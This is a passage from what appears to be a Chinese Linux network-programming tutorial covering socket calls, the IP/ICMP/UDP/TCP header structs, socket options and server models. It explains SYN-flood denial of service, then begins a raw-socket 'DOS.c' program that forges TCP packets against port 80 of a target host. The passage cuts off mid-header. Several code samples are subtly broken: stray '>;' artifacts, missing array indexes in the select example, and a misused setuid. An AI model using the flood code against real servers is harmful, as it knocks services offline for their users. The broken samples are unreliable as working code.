recvmsg和sendmsg可以實(shí)現(xiàn)前面所有的讀寫(xiě)函數(shù)的功能.

int recvmsg(int sockfd,struct msghdr *msg,int flags)
int sendmsg(int sockfd,struct msghdr *msg,int flags)

  struct msghdr
        {
                void *msg_name;
                int msg_namelen;
                struct iovec *msg_iov;
                int msg_iovlen;
                void *msg_control;
                int msg_controllen;
                int msg_flags;
        }

struct iovec
        {
                void *iov_base; /* 緩沖區(qū)開(kāi)始的地址  */
                size_t iov_len; /* 緩沖區(qū)的長(zhǎng)度      */
        }

msg_name和 msg_namelen當(dāng)套接字是非面向連接時(shí)(UDP),它們存儲(chǔ)接收和發(fā)送方的地址信息.msg_name實(shí)際上是一個(gè)指向struct sockaddr的指針,msg_name是結(jié)構(gòu)的長(zhǎng)度.當(dāng)套接字是面向連接時(shí),這兩個(gè)值應(yīng)設(shè)為NULL. msg_iov和msg_iovlen指出接受和發(fā)送的緩沖區(qū)內(nèi)容.msg_iov是一個(gè)結(jié)構(gòu)指針,msg_iovlen指出這個(gè)結(jié)構(gòu)數(shù)組的大小. msg_control和msg_controllen這兩個(gè)變量是用來(lái)接收和發(fā)送控制數(shù)據(jù)時(shí)的 msg_flags指定接受和發(fā)送的操作選項(xiàng).和recv,send的選項(xiàng)一樣
6.4 套接字的關(guān)閉
關(guān)閉套接字有兩個(gè)函數(shù)close和shutdown.用close時(shí)和我們關(guān)閉文件一樣.

6.5 shutdown

int shutdown(int sockfd,int howto)  

TCP連接是雙向的(是可讀寫(xiě)的),當(dāng)我們使用close時(shí),會(huì)把讀寫(xiě)通道都關(guān)閉,有時(shí)侯我們希望只關(guān)閉一個(gè)方向,這個(gè)時(shí)候我們可以使用shutdown.針對(duì)不同的howto,系統(tǒng)回采取不同的關(guān)閉方式.
howto=0這個(gè)時(shí)候系統(tǒng)會(huì)關(guān)閉讀通道.但是可以繼續(xù)往接字描述符寫(xiě).

howto=1關(guān)閉寫(xiě)通道,和上面相反,著時(shí)候就只可以讀了.

howto=2關(guān)閉讀寫(xiě)通道,和close一樣 在多進(jìn)程程序里面,如果有幾個(gè)子進(jìn)程共享一個(gè)套接字時(shí),如果我們使用shutdown, 那么所有的子進(jìn)程都不能夠操作了,這個(gè)時(shí)候我們只能夠使用close來(lái)關(guān)閉子進(jìn)程的套接字描述符.

7. TCP/IP協(xié)議
你也許聽(tīng)說(shuō)過(guò)TCP/IP協(xié)議,那么你知道到底什么是TCP,什么是IP嗎?在這一章里面,我們一起來(lái)學(xué)習(xí)這個(gè)目前網(wǎng)絡(luò)上用最廣泛的協(xié)議.


7.1 網(wǎng)絡(luò)傳輸分層
如果你考過(guò)計(jì)算機(jī)等級(jí)考試,那么你就應(yīng)該已經(jīng)知道了網(wǎng)絡(luò)傳輸分層這個(gè)概念.在網(wǎng)絡(luò)上,人們?yōu)榱藗鬏敂?shù)據(jù)時(shí)的方便,把網(wǎng)絡(luò)的傳輸分為7個(gè)層次.分別是:應(yīng)用層,表示層,會(huì)話(huà)層,傳輸層,網(wǎng)絡(luò)層,數(shù)據(jù)鏈路層和物理層.分好了層以后,傳輸數(shù)據(jù)時(shí),上一層如果要數(shù)據(jù)的話(huà),就可以直接向下一層要了,而不必要管數(shù)據(jù)傳輸?shù)募?xì)節(jié).下一層也只向它的上一層提供數(shù)據(jù),而不要去管其它東西了.如果你不想考試,你沒(méi)有必要去記這些東西的.只要知道是分層的,而且各層的作用不同.

7.2 IP協(xié)議
IP協(xié)議是在網(wǎng)絡(luò)層的協(xié)議.它主要完成數(shù)據(jù)包的發(fā)送作用. 下面這個(gè)表是IP4的數(shù)據(jù)包格式

0      4       8       16                      32
--------------------------------------------------
|版本   |首部長(zhǎng)度|服務(wù)類(lèi)型|    數(shù)據(jù)包總長(zhǎng)        |
--------------------------------------------------
|    標(biāo)識(shí)                 |DF |MF| 碎片偏移      |
--------------------------------------------------
|   生存時(shí)間    |  協(xié)議   |  首部較驗(yàn)和         |
------------------------------------------------
|               源IP地址                        |
------------------------------------------------
|               目的IP地址                      |
-------------------------------------------------
|               選項(xiàng)                            |
=================================================
|               數(shù)據(jù)                            |
-------------------------------------------------                       

下面我們看一看IP的結(jié)構(gòu)定義<netinet/ip.h>;

struct ip
  {
#if __BYTE_ORDER == __LITTLE_ENDIAN
        unsigned int ip_hl:4;           /* header length */
        unsigned int ip_v:4;            /* version */
#endif
#if __BYTE_ORDER == __BIG_ENDIAN
        unsigned int ip_v:4;            /* version */
        unsigned int ip_hl:4;           /* header length */
#endif
        u_int8_t ip_tos;                /* type of service */
        u_short ip_len;                 /* total length */
        u_short ip_id;                  /* identification */
        u_short ip_off;                 /* fragment offset field */
#define IP_RF 0x8000                    /* reserved fragment flag */
#define IP_DF 0x4000                    /* dont fragment flag */
#define IP_MF 0x2000                    /* more fragments flag */
#define IP_OFFMASK 0x1fff               /* mask for fragmenting bits */
        u_int8_t ip_ttl;                /* time to live */
        u_int8_t ip_p;                  /* protocol */
        u_short ip_sum;                 /* checksum */
        struct in_addr ip_src, ip_dst;  /* source and dest address */
  };

ip_vIP協(xié)議的版本號(hào),這里是4,現(xiàn)在IPV6已經(jīng)出來(lái)了

ip_hlIP包首部長(zhǎng)度,這個(gè)值以4字節(jié)為單位.IP協(xié)議首部的固定長(zhǎng)度為20個(gè)字節(jié),如果IP包沒(méi)有選項(xiàng),那么這個(gè)值為5.

ip_tos服務(wù)類(lèi)型,說(shuō)明提供的優(yōu)先權(quán).

ip_len說(shuō)明IP數(shù)據(jù)的長(zhǎng)度.以字節(jié)為單位.

ip_id標(biāo)識(shí)這個(gè)IP數(shù)據(jù)包.

ip_off碎片偏移,這和上面ID一起用來(lái)重組碎片的.

ip_ttl生存時(shí)間.沒(méi)經(jīng)過(guò)一個(gè)路由的時(shí)候減一,直到為0時(shí)被拋棄.

ip_p協(xié)議,表示創(chuàng)建這個(gè)IP數(shù)據(jù)包的高層協(xié)議.如TCP,UDP協(xié)議.

ip_sum首部校驗(yàn)和,提供對(duì)首部數(shù)據(jù)的校驗(yàn).

ip_src,ip_dst發(fā)送者和接收者的IP地址

關(guān)于IP協(xié)議的詳細(xì)情況,請(qǐng)參考 RFC791

7.3 ICMP協(xié)議
ICMP是消息控制協(xié)議,也處于網(wǎng)絡(luò)層.在網(wǎng)絡(luò)上傳遞IP數(shù)據(jù)包時(shí),如果發(fā)生了錯(cuò)誤,那么就會(huì)用ICMP協(xié)議來(lái)報(bào)告錯(cuò)誤.

ICMP包的結(jié)構(gòu)如下:

0              8               16                              32
---------------------------------------------------------------------
|       類(lèi)型    |       代碼    |       校驗(yàn)和                  |
--------------------------------------------------------------------
|               數(shù)據(jù)            |       數(shù)據(jù)                    |
--------------------------------------------------------------------

ICMP在<netinet/ip_icmp.h>;中的定義是
struct icmphdr
{
  u_int8_t type;                /* message type */
  u_int8_t code;                /* type sub-code */
  u_int16_t checksum;
  union
  {
    struct
    {
      u_int16_t id;
      u_int16_t sequence;
    } echo;                     /* echo datagram */
    u_int32_t   gateway;        /* gateway address */
    struct
    {
      u_int16_t __unused;
      u_int16_t mtu;
    } frag;                     /* path mtu discovery */
  } un;
};

關(guān)于ICMP協(xié)議的詳細(xì)情況可以查看 RFC792

7.4 UDP協(xié)議
UDP協(xié)議是建立在IP協(xié)議基礎(chǔ)之上的,用在傳輸層的協(xié)議.UDP和IP協(xié)議一樣是不可靠的數(shù)據(jù)報(bào)服務(wù).UDP的頭格式為:


0                      16                      32
---------------------------------------------------
|       UDP源端口       |       UDP目的端口     |
---------------------------------------------------
|       UDP數(shù)據(jù)報(bào)長(zhǎng)度   |       UDP數(shù)據(jù)報(bào)校驗(yàn)   |
---------------------------------------------------

UDP結(jié)構(gòu)在<netinet/udp.h>;中的定義為:
struct udphdr {
  u_int16_t     source;
  u_int16_t     dest;
  u_int16_t     len;
  u_int16_t     check;
};

關(guān)于UDP協(xié)議的詳細(xì)情況,請(qǐng)參考 RFC768
7.5 TCP
TCP協(xié)議也是建立在IP協(xié)議之上的,不過(guò)TCP協(xié)議是可靠的.按照順序發(fā)送的.TCP的數(shù)據(jù)結(jié)構(gòu)比前面的結(jié)構(gòu)都要復(fù)雜.

0       4       8  10           16              24              32
-------------------------------------------------------------------
|               源端口          |               目的端口        |
-------------------------------------------------------------------
|                               序列號(hào)                          |
------------------------------------------------------------------
|                               確認(rèn)號(hào)                          |
------------------------------------------------------------------
|        |            |U|A|P|S|F|                               |
|首部長(zhǎng)度| 保留       |R|C|S|Y|I|       窗口                    |
|        |            |G|K|H|N|N|                               |
-----------------------------------------------------------------
|               校驗(yàn)和          |               緊急指針        |
-----------------------------------------------------------------
|                       選項(xiàng)                    |    填充字節(jié)   |
-----------------------------------------------------------------

TCP的結(jié)構(gòu)在<netinet/tcp.h>;中定義為:
struct tcphdr
  {
    u_int16_t source;
    u_int16_t dest;
    u_int32_t seq;
    u_int32_t ack_seq;
#if __BYTE_ORDER == __LITTLE_ENDIAN
    u_int16_t res1:4;
    u_int16_t doff:4;
    u_int16_t fin:1;
    u_int16_t syn:1;
    u_int16_t rst:1;
    u_int16_t psh:1;
    u_int16_t ack:1;
    u_int16_t urg:1;
    u_int16_t res2:2;
#elif __BYTE_ORDER == __BIG_ENDIAN
    u_int16_t doff:4;
    u_int16_t res1:4;
    u_int16_t res2:2;
    u_int16_t urg:1;
    u_int16_t ack:1;
    u_int16_t psh:1;
    u_int16_t rst:1;
    u_int16_t syn:1;
    u_int16_t fin:1;
#endif
    u_int16_t window;
    u_int16_t check;
    u_int16_t urg_prt;
};      

source發(fā)送TCP數(shù)據(jù)的源端口
dest接受TCP數(shù)據(jù)的目的端口

seq標(biāo)識(shí)該TCP所包含的數(shù)據(jù)字節(jié)的開(kāi)始序列號(hào)

ack_seq確認(rèn)序列號(hào),表示接受方下一次接受的數(shù)據(jù)序列號(hào).

doff數(shù)據(jù)首部長(zhǎng)度.和IP協(xié)議一樣,以4字節(jié)為單位.一般的時(shí)候?yàn)?

urg如果設(shè)置緊急數(shù)據(jù)指針,則該位為1

ack如果確認(rèn)號(hào)正確,那么為1

psh如果設(shè)置為1,那么接收方收到數(shù)據(jù)后,立即交給上一層程序

rst為1的時(shí)候,表示請(qǐng)求重新連接

syn為1的時(shí)候,表示請(qǐng)求建立連接

fin為1的時(shí)候,表示親戚關(guān)閉連接

window窗口,告訴接收者可以接收的大小

check對(duì)TCP數(shù)據(jù)進(jìn)行較核

urg_ptr如果urg=1,那么指出緊急數(shù)據(jù)對(duì)于歷史數(shù)據(jù)開(kāi)始的序列號(hào)的偏移值

關(guān)于TCP協(xié)議的詳細(xì)情況,請(qǐng)查看 RFC793


7.6 TCP連接的建立
TCP協(xié)議是一種可靠的連接,為了保證連接的可靠性,TCP的連接要分為幾個(gè)步驟.我們把這個(gè)連接過(guò)程稱(chēng)為"三次握手".

下面我們從一個(gè)實(shí)例來(lái)分析建立連接的過(guò)程.

第一步客戶(hù)機(jī)向服務(wù)器發(fā)送一個(gè)TCP數(shù)據(jù)包,表示請(qǐng)求建立連接. 為此,客戶(hù)端將數(shù)據(jù)包的SYN位設(shè)置為1,并且設(shè)置序列號(hào)seq=1000(我們假設(shè)為1000).

第二步服務(wù)器收到了數(shù)據(jù)包,并從SYN位為1知道這是一個(gè)建立請(qǐng)求的連接.于是服務(wù)器也向客戶(hù)端發(fā)送一個(gè)TCP數(shù)據(jù)包.因?yàn)槭琼憫?yīng)客戶(hù)機(jī)的請(qǐng)求,于是服務(wù)器設(shè)置ACK為1,sak_seq=1001(1000+1)同時(shí)設(shè)置自己的序列號(hào).seq=2000(我們假設(shè)為2000).

第三步客戶(hù)機(jī)收到了服務(wù)器的TCP,并從ACK為1和ack_seq=1001知道是從服務(wù)器來(lái)的確認(rèn)信息.于是客戶(hù)機(jī)也向服務(wù)器發(fā)送確認(rèn)信息.客戶(hù)機(jī)設(shè)置ACK=1,和ack_seq=2001,seq=1001,發(fā)送給服務(wù)器.至此客戶(hù)端完成連接.

最后一步服務(wù)器受到確認(rèn)信息,也完成連接.

通過(guò)上面幾個(gè)步驟,一個(gè)TCP連接就建立了.當(dāng)然在建立過(guò)程中可能出現(xiàn)錯(cuò)誤,不過(guò)TCP協(xié)議可以保證自己去處理錯(cuò)誤的.


  說(shuō)一說(shuō)其中的一種錯(cuò)誤.
  聽(tīng)說(shuō)過(guò)DOS嗎?(可不是操作系統(tǒng)啊).今年春節(jié)的時(shí)候,美國(guó)的五大網(wǎng)站一起受到攻擊.攻擊者用的就是DOS(拒絕式服務(wù))方式.概括的說(shuō)一下原理.
  客戶(hù)機(jī)先進(jìn)行第一個(gè)步驟.服務(wù)器收到后,進(jìn)行第二個(gè)步驟.按照正常的TCP連接,客戶(hù)機(jī)應(yīng)該進(jìn)行第三個(gè)步驟.
不過(guò)攻擊者實(shí)際上并不進(jìn)行第三個(gè)步驟.因?yàn)榭蛻?hù)端在進(jìn)行第一個(gè)步驟的時(shí)候,修改了自己的IP地址,就是說(shuō)將一個(gè)實(shí)際上不存在的IP填充在自己IP數(shù)據(jù)包的發(fā)送者的IP一欄.這樣因?yàn)榉⻊?wù)器發(fā)的IP地址沒(méi)有人接收,所以服務(wù)端會(huì)收不到第三個(gè)步驟的確認(rèn)信號(hào),這樣服務(wù)務(wù)端會(huì)在那邊一直等待,直到超時(shí).
這樣當(dāng)有大量的客戶(hù)發(fā)出請(qǐng)求后,服務(wù)端會(huì)有大量等待,直到所有的資源被用光,而不能再接收客戶(hù)機(jī)的請(qǐng)求.
這樣當(dāng)正常的用戶(hù)向服務(wù)器發(fā)出請(qǐng)求時(shí),由于沒(méi)有了資源而不能成功.于是就出現(xiàn)了春節(jié)時(shí)所出現(xiàn)的情況.

8. 套接字選項(xiàng)
有時(shí)候我們要控制套接字的行為(如修改緩沖區(qū)的大小),這個(gè)時(shí)候我們就要控制套接字的選項(xiàng)了.


8.1 getsockopt和setsockopt

int getsockopt(int sockfd,int level,int optname,void *optval,socklen_t *optlen)
int setsockopt(int sockfd,int level,int optname,const void *optval,socklen_t *optlen)

level指定控制套接字的層次.可以取三種值: 1)SOL_SOCKET:通用套接字選項(xiàng). 2)IPPROTO_IP:IP選項(xiàng). 3)IPPROTO_TCP:TCP選項(xiàng).
optname指定控制的方式(選項(xiàng)的名稱(chēng)),我們下面詳細(xì)解釋

optval獲得或者是設(shè)置套接字選項(xiàng).根據(jù)選項(xiàng)名稱(chēng)的數(shù)據(jù)類(lèi)型進(jìn)行轉(zhuǎn)換


選項(xiàng)名稱(chēng)                說(shuō)明                                    數(shù)據(jù)類(lèi)型
========================================================================
                        SOL_SOCKET
------------------------------------------------------------------------
SO_BROADCAST            允許發(fā)送廣播數(shù)據(jù)                        int
SO_DEBUG                允許調(diào)試                                int
SO_DONTROUTE            不查找路由                              int
SO_ERROR                獲得套接字錯(cuò)誤                          int
SO_KEEPALIVE            保持連接                                int
SO_LINGER               延遲關(guān)閉連接                            struct linger
SO_OOBINLINE            帶外數(shù)據(jù)放入正常數(shù)據(jù)流                  int
SO_RCVBUF               接收緩沖區(qū)大小                          int
SO_SNDBUF               發(fā)送緩沖區(qū)大小                          int
SO_RCVLOWAT             接收緩沖區(qū)下限                          int
SO_SNDLOWAT             發(fā)送緩沖區(qū)下限                          int
SO_RCVTIMEO             接收超時(shí)                                struct timeval
SO_SNDTIMEO             發(fā)送超時(shí)                                struct timeval
SO_REUSERADDR           允許重用本地地址和端口                  int
SO_TYPE                 獲得套接字類(lèi)型                          int
SO_BSDCOMPAT            與BSD系統(tǒng)兼容                           int
==========================================================================
                        IPPROTO_IP
--------------------------------------------------------------------------
IP_HDRINCL              在數(shù)據(jù)包中包含IP首部                    int
IP_OPTINOS              IP首部選項(xiàng)                              int
IP_TOS                  服務(wù)類(lèi)型
IP_TTL                  生存時(shí)間                                int
==========================================================================
                        IPPRO_TCP
--------------------------------------------------------------------------
TCP_MAXSEG              TCP最大數(shù)據(jù)段的大小                     int
TCP_NODELAY             不使用Nagle算法                         int
=========================================================================

關(guān)于這些選項(xiàng)的詳細(xì)情況請(qǐng)查看 unix Programmer's Manual

8.2 ioctl
ioctl可以控制所有的文件描述符的情況,這里介紹一下控制套接字的選項(xiàng).

int ioctl(int fd,int req,...)

==========================================================================
                        ioctl的控制選項(xiàng)
--------------------------------------------------------------------------
SIOCATMARK              是否到達(dá)帶外標(biāo)記                        int
FIOASYNC                異步輸入/輸出標(biāo)志                       int
FIONREAD                緩沖區(qū)可讀的字節(jié)數(shù)                      int
==========================================================================

詳細(xì)的選項(xiàng)請(qǐng)用 man ioctl_list 查看.

9. 服務(wù)器模型
學(xué)習(xí)過(guò)《軟件工程》吧.軟件工程可是每一個(gè)程序員"必修"的課程啊.如果你沒(méi)有學(xué)習(xí)過(guò), 建議你去看一看. 在這一章里面,我們一起來(lái)從軟件工程的角度學(xué)習(xí)網(wǎng)絡(luò)編程的思想.在我們寫(xiě)程序之前, 我們都應(yīng)該從軟件工程的角度規(guī)劃好我們的軟件,這樣我們開(kāi)發(fā)軟件的效率才會(huì)高. 在網(wǎng)絡(luò)程序里面,一般的來(lái)說(shuō)都是許多客戶(hù)機(jī)對(duì)應(yīng)一個(gè)服務(wù)器.為了處理客戶(hù)機(jī)的請(qǐng)求, 對(duì)服務(wù)端的程序就提出了特殊的要求.我們學(xué)習(xí)一下目前最常用的服務(wù)器模型.

循環(huán)服務(wù)器:循環(huán)服務(wù)器在同一個(gè)時(shí)刻只可以響應(yīng)一個(gè)客戶(hù)端的請(qǐng)求

并發(fā)服務(wù)器:并發(fā)服務(wù)器在同一個(gè)時(shí)刻可以響應(yīng)多個(gè)客戶(hù)端的請(qǐng)求


9.1 循環(huán)服務(wù)器:UDP服務(wù)器
UDP循環(huán)服務(wù)器的實(shí)現(xiàn)非常簡(jiǎn)單:UDP服務(wù)器每次從套接字上讀取一個(gè)客戶(hù)端的請(qǐng)求,處理, 然后將結(jié)果返回給客戶(hù)機(jī).

可以用下面的算法來(lái)實(shí)現(xiàn).

   socket(...);
   bind(...);
   while(1)
    {
         recvfrom(...);
         process(...);
         sendto(...);
   }

因?yàn)閁DP是非面向連接的,沒(méi)有一個(gè)客戶(hù)端可以老是占住服務(wù)端. 只要處理過(guò)程不是死循環(huán), 服務(wù)器對(duì)于每一個(gè)客戶(hù)機(jī)的請(qǐng)求總是能夠滿(mǎn)足.
9.2 循環(huán)服務(wù)器:TCP服務(wù)器
TCP循環(huán)服務(wù)器的實(shí)現(xiàn)也不難:TCP服務(wù)器接受一個(gè)客戶(hù)端的連接,然后處理,完成了這個(gè)客戶(hù)的所有請(qǐng)求后,斷開(kāi)連接.

算法如下:

        socket(...);
        bind(...);
        listen(...);
        while(1)
        {
                accept(...);
                while(1)
                {
                        read(...);
                        process(...);
                        write(...);
                }
                close(...);
        }

TCP循環(huán)服務(wù)器一次只能處理一個(gè)客戶(hù)端的請(qǐng)求.只有在這個(gè)客戶(hù)的所有請(qǐng)求都滿(mǎn)足后, 服務(wù)器才可以繼續(xù)后面的請(qǐng)求.這樣如果有一個(gè)客戶(hù)端占住服務(wù)器不放時(shí),其它的客戶(hù)機(jī)都不能工作了.因此,TCP服務(wù)器一般很少用循環(huán)服務(wù)器模型的.

9.3 并發(fā)服務(wù)器:TCP服務(wù)器
為了彌補(bǔ)循環(huán)TCP服務(wù)器的缺陷,人們又想出了并發(fā)服務(wù)器的模型. 并發(fā)服務(wù)器的思想是每一個(gè)客戶(hù)機(jī)的請(qǐng)求并不由服務(wù)器直接處理,而是服務(wù)器創(chuàng)建一個(gè) 子進(jìn)程來(lái)處理.

算法如下:

  socket(...);
  bind(...);
  listen(...);
  while(1)
  {
        accept(...);
        if(fork(..)==0)
          {
              while(1)
               {        
                read(...);
                process(...);
                write(...);
               }
           close(...);
           exit(...);
          }
        close(...);
  }     

TCP并發(fā)服務(wù)器可以解決TCP循環(huán)服務(wù)器客戶(hù)機(jī)獨(dú)占服務(wù)器的情況. 不過(guò)也同時(shí)帶來(lái)了一個(gè)不小的問(wèn)題.為了響應(yīng)客戶(hù)機(jī)的請(qǐng)求,服務(wù)器要?jiǎng)?chuàng)建子進(jìn)程來(lái)處理. 而創(chuàng)建子進(jìn)程是一種非常消耗資源的操作.

9.4 并發(fā)服務(wù)器:多路復(fù)用I/O
為了解決創(chuàng)建子進(jìn)程帶來(lái)的系統(tǒng)資源消耗,人們又想出了多路復(fù)用I/O模型.

首先介紹一個(gè)函數(shù)select

int select(int nfds,fd_set *readfds,fd_set *writefds,
                fd_set *except fds,struct timeval *timeout)
void FD_SET(int fd,fd_set *fdset)
void FD_CLR(int fd,fd_set *fdset)
void FD_ZERO(fd_set *fdset)
int FD_ISSET(int fd,fd_set *fdset)

一般的來(lái)說(shuō)當(dāng)我們?cè)谙蛭募x寫(xiě)時(shí),進(jìn)程有可能在讀寫(xiě)出阻塞,直到一定的條件滿(mǎn)足. 比如我們從一個(gè)套接字讀數(shù)據(jù)時(shí),可能緩沖區(qū)里面沒(méi)有數(shù)據(jù)可讀(通信的對(duì)方還沒(méi)有 發(fā)送數(shù)據(jù)過(guò)來(lái)),這個(gè)時(shí)候我們的讀調(diào)用就會(huì)等待(阻塞)直到有數(shù)據(jù)可讀.如果我們不 希望阻塞,我們的一個(gè)選擇是用select系統(tǒng)調(diào)用. 只要我們?cè)O(shè)置好select的各個(gè)參數(shù),那么當(dāng)文件可以讀寫(xiě)的時(shí)候select回"通知"我們 說(shuō)可以讀寫(xiě)了. readfds所有要讀的文件文件描述符的集合
writefds所有要的寫(xiě)文件文件描述符的集合

exceptfds其他的服要向我們通知的文件描述符

timeout超時(shí)設(shè)置.

nfds所有我們監(jiān)控的文件描述符中最大的那一個(gè)加1

在我們調(diào)用select時(shí)進(jìn)程會(huì)一直阻塞直到以下的一種情況發(fā)生. 1)有文件可以讀.2)有文件可以寫(xiě).3)超時(shí)所設(shè)置的時(shí)間到.

為了設(shè)置文件描述符我們要使用幾個(gè)宏. FD_SET將fd加入到fdset

FD_CLR將fd從fdset里面清除

FD_ZERO從fdset中清除所有的文件描述符

FD_ISSET判斷fd是否在fdset集合中

使用select的一個(gè)例子

int use_select(int *readfd,int n)
{
   fd_set my_readfd;
   int maxfd;
   int i;
   
   maxfd=readfd[0];
   for(i=1;i<n;i++)
    if(readfd>;maxfd) maxfd=readfd;
   while(1)
   {
        /*   將所有的文件描述符加入   */
        FD_ZERO(&my_readfd);
        for(i=0;i<n;i++)
            FD_SET(readfd,*my_readfd);
        /*     進(jìn)程阻塞                 */
        select(maxfd+1,& my_readfd,NULL,NULL,NULL);
        /*        有東西可以讀了       */
        for(i=0;i<n;i++)
          if(FD_ISSET(readfd,&my_readfd))
              {
                  /* 原來(lái)是我可以讀了  */
                        we_read(readfd);
              }
   }
}

使用select后我們的服務(wù)器程序就變成了.


        初始話(huà)(socket,bind,listen);
        
    while(1)
        {
        設(shè)置監(jiān)聽(tīng)讀寫(xiě)文件描述符(FD_*);   
        
        調(diào)用select;
        
        如果是傾聽(tīng)套接字就緒,說(shuō)明一個(gè)新的連接請(qǐng)求建立
             {
                建立連接(accept);
                加入到監(jiān)聽(tīng)文件描述符中去;
             }
       否則說(shuō)明是一個(gè)已經(jīng)連接過(guò)的描述符
                {
                    進(jìn)行操作(read或者write);
                 }
                        
        }               

多路復(fù)用I/O可以解決資源限制的問(wèn)題.著模型實(shí)際上是將UDP循環(huán)模型用在了TCP上面. 這也就帶來(lái)了一些問(wèn)題.如由于服務(wù)器依次處理客戶(hù)的請(qǐng)求,所以可能會(huì)導(dǎo)致有的客戶(hù) 會(huì)等待很久.

9.5 并發(fā)服務(wù)器:UDP服務(wù)器
人們把并發(fā)的概念用于UDP就得到了并發(fā)UDP服務(wù)器模型. 并發(fā)UDP服務(wù)器模型其實(shí)是簡(jiǎn)單的.和并發(fā)的TCP服務(wù)器模型一樣是創(chuàng)建一個(gè)子進(jìn)程來(lái)處理的 算法和并發(fā)的TCP模型一樣.

除非服務(wù)器在處理客戶(hù)端的請(qǐng)求所用的時(shí)間比較長(zhǎng)以外,人們實(shí)際上很少用這種模型.


9.6 一個(gè)并發(fā)TCP服務(wù)器實(shí)例

#include <sys/socket.h>;
#include <sys/types.h>;
#include <netinet/in.h>;
#include <string.h>;
#include <errno.h>;
#define MY_PORT         8888

int main(int argc ,char **argv)
{
int listen_fd,accept_fd;
struct sockaddr_in     client_addr;
int n;

if((listen_fd=socket(AF_INET,SOCK_STREAM,0))<0)
  {
        printf("Socket Error:%s\n\a",strerror(errno));
        exit(1);
  }

bzero(&client_addr,sizeof(struct sockaddr_in));
client_addr.sin_family=AF_INET;
client_addr.sin_port=htons(MY_PORT);
client_addr.sin_addr.s_addr=htonl(INADDR_ANY);
n=1;
/* 如果服務(wù)器終止后,服務(wù)器可以第二次快速啟動(dòng)而不用等待一段時(shí)間  */
setsockopt(listen_fd,SOL_SOCKET,SO_REUSEADDR,&n,sizeof(int));
if(bind(listen_fd,(struct sockaddr *)&client_addr,sizeof(client_addr))<0)
  {
        printf("Bind Error:%s\n\a",strerror(errno));
        exit(1);
  }
  listen(listen_fd,5);
  while(1)
  {
   accept_fd=accept(listen_fd,NULL,NULL);
   if((accept_fd<0)&&(errno==EINTR))
          continue;
   else if(accept_fd<0)
    {
        printf("Accept Error:%s\n\a",strerror(errno));
        continue;
    }
  if((n=fork())==0)
   {
        /* 子進(jìn)程處理客戶(hù)端的連接 */
        char buffer[1024];

        close(listen_fd);
        n=read(accept_fd,buffer,1024);
        write(accept_fd,buffer,n);
        close(accept_fd);
        exit(0);
   }
   else if(n<0)
        printf("Fork Error:%s\n\a",strerror(errno));
   close(accept_fd);
  }
}

你可以用我們前面寫(xiě)客戶(hù)端程序來(lái)調(diào)試著程序,或者是用來(lái)telnet調(diào)試

10. 原始套接字
我們?cè)谇懊嬉呀?jīng)學(xué)習(xí)過(guò)了網(wǎng)絡(luò)程序的兩種套接字(SOCK_STREAM,SOCK_DRAGM).在這一章 里面我們一起來(lái)學(xué)習(xí)另外一種套接字--原始套接字(SOCK_RAW). 應(yīng)用原始套接字,我們可以編寫(xiě)出由TCP和UDP套接字不能夠?qū)崿F(xiàn)的功能. 注意原始套接字只能夠由有root權(quán)限的人創(chuàng)建.

10.1 原始套接字的創(chuàng)建

int sockfd(AF_INET,SOCK_RAW,protocol)

可以創(chuàng)建一個(gè)原始套接字.根據(jù)協(xié)議的類(lèi)型不同我們可以創(chuàng)建不同類(lèi)型的原始套接字 比如:IPPROTO_ICMP,IPPROTO_TCP,IPPROTO_UDP等等.詳細(xì)的情況查看 <netinet/in.h>; 下面我們以一個(gè)實(shí)例來(lái)說(shuō)明原始套接字的創(chuàng)建和使用

10.2 一個(gè)原始套接字的實(shí)例
還記得DOS是什么意思嗎?在這里我們就一起來(lái)編寫(xiě)一個(gè)實(shí)現(xiàn)DOS的小程序. 下面是程序的源代碼

/********************  DOS.c               *****************/
#include <sys/socket.h>;
#include <netinet/in.h>;
#include <netinet/ip.h>;
#include <netinet/tcp.h>;
#include <stdlib.h>;
#include <errno.h>;
#include <unistd.h>;
#include <stdio.h>;
#include <netdb.h>;

#define DESTPORT        80       /* 要攻擊的端口(WEB)      */
#define LOCALPORT       8888

void send_tcp(int sockfd,struct sockaddr_in *addr);
unsigned short check_sum(unsigned short *addr,int len);

int main(int argc,char **argv)
{
int sockfd;
struct sockaddr_in addr;
struct hostent *host;
int on=1;

if(argc!=2)
{
        fprintf(stderr,"Usage:%s hostname\n\a",argv[0]);
        exit(1);
}

bzero(&addr,sizeof(struct sockaddr_in));
addr.sin_family=AF_INET;
addr.sin_port=htons(DESTPORT);

if(inet_aton(argv[1],&addr.sin_addr)==0)
{
        host=gethostbyname(argv[1]);
        if(host==NULL)
        {
                fprintf(stderr,"HostName Error:%s\n\a",hstrerror(h_errno));
                exit(1);
        }
        addr.sin_addr=*(struct in_addr *)(host->;h_addr_list[0]);
}

/**** 使用IPPROTO_TCP創(chuàng)建一個(gè)TCP的原始套接字    ****/

sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);
if(sockfd<0)
{
        fprintf(stderr,"Socket Error:%s\n\a",strerror(errno));
        exit(1);
}
/********  設(shè)置IP數(shù)據(jù)包格式,告訴系統(tǒng)內(nèi)核模塊IP數(shù)據(jù)包由我們自己來(lái)填寫(xiě)  ***/

setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));

/****  沒(méi)有辦法,只用超級(jí)護(hù)用戶(hù)才可以使用原始套接字    *********/
setuid(getpid());

/*********  發(fā)送炸彈了!!!!          ****/
send_tcp(sockfd,&addr);
}



/*******  發(fā)送炸彈的實(shí)現(xiàn)   *********/
void send_tcp(int sockfd,struct sockaddr_in *addr)
{
char buffer[100];  /**** 用來(lái)放置我們的數(shù)據(jù)包  ****/
struct ip *ip;
struct tcphdr *tcp;
int head_len;

/******* 我們的數(shù)據(jù)包實(shí)際上沒(méi)有任何內(nèi)容,所以長(zhǎng)度就是兩個(gè)結(jié)構(gòu)的長(zhǎng)度  ***/

head_len=sizeof(struct ip)+sizeof(struct tcphdr);

bzero(buffer,100);

/********  填充IP數(shù)據(jù)包的頭部,還記得IP的頭格式嗎?     ******/
ip=(struct ip *)buffer;
ip->;ip_v=IPVERSION;             /** 版本一般的是 4      **/
ip->;ip_hl=sizeof(struct ip)>;>;2; /** IP數(shù)據(jù)包的頭部長(zhǎng)度  **/
ip->;ip_tos=0;                   /** 服務(wù)類(lèi)型            **/
ip->;ip_len=htons(head_len);     /** IP數(shù)據(jù)包的長(zhǎng)度      **/
ip->;ip_id=0;                    /** 讓系統(tǒng)去填寫(xiě)吧      **/
ip->;ip_off=0;                   /** 和上面一樣,省點(diǎn)時(shí)間 **/        
